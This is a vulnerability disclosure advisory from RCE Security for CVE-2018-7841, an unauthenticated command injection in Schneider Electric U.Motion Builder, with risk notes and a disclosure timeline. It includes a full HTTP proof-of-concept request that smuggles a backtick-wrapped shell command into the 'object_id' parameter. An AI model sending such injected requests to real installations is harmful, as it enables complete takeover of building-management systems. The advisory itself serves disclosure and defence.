RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        Schneider Electric U.Motion Builder
Vendor URL:     www.schneider-electric.com
Type:           OS Command Injection [CWE-78]
Date found:     2018-11-15
Date published: 2019-05-13
CVSSv3 Score:   9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVE:            CVE-2018-7841


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Schneider Electric U.Motion Builder 1.3.4 and below


4. INTRODUCTION
===============
Comfort, Security and Energy Efficiency – these are the qualities that you as
home owner expect from a futureproof building management solution.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The script "track_import_export.php" is vulnerable to an unauthenticated
command injection vulnerability when user-supplied input to the HTTP GET/POST
parameter "object_id" is processed by the web application. Since the application
does not properly validate and sanitize this parameter, it is possible to inject
arbitrary commands into a PHP exec call. This is a bypass to the fix implemented
for CVE-2018-7765.

The following Proof-of-Concept triggers this vulnerability causing a 10 seconds
sleep:

POST /smartdomuspad/modules/reporting/track_import_export.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=l337qjbsjk4js9ipm6mppa5qn4
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

op=export&language=english&interval=1&object_id=`sleep 10`


6. RISK
=======
To successfully exploit this vulnerability an unauthenticated attacker must only
have network-level access to a vulnerable instance of U.Motion Builder or a product
that depends on it.

The vulnerability can be used to inject arbitrary OS commands, which leads to the
complete compromise of the affected installation.


7. SOLUTION
===========
Uninstall/remove the installation.

The product has been retired shortly after notifying the vendor about this issue,
so no fix will be published.


8. REPORT TIMELINE
==================
2018-11-14: Discovery of the vulnerability
2018-11-14: Tried to notify vendor via their vulnerability report form
            but unfortunately the form returned some 403 error
2018-11-14: Tried to contact the vendor via Twitter (public tweet and DM)
2018-11-19: No response from vendor
2018-11-20: Tried to contact the vendor via Twitter again
2018-11-20: No response from vendor
2019-01-04: Without further notice the contact form worked again. Sent over
            the vulnerability details.
2019-01-04: Response from the vendor stating that the affected code is owned by
            a third-party vendor. Projected completion time is October 2019.
2019-01-10: Scheduled disclosure date is set to 2019-01-22 based on policy.
2019-01-14: Vendor asks to extend the disclosure date to 2019-03-15.
2019-01-15: Agreed on the disclosure extension due to the severity of the issue
2019-02-01: No further reply from vendor. Reminded them of the regular status
            updates according to the disclosure policy
2019-02-04: Regular status updates from vendor from now on
2019-03-13: Vendor sends draft disclosure notification including assigned
            CVE-2018-7841. The draft states that the product will be retired
            and has already been removed from the download portal. A customer
            notification is published (SEVD-2019-071-02).
2019-03-14: Public disclosure is delayed to give the vendor's customers a chance
            to remove the product.
2019-05-13: Public disclosure


9. REFERENCES
=============
https://www.rcesecurity.com/2019/05/cve-2018-7841-schneider-electric-umotion-builder-remote-code-execution-0-day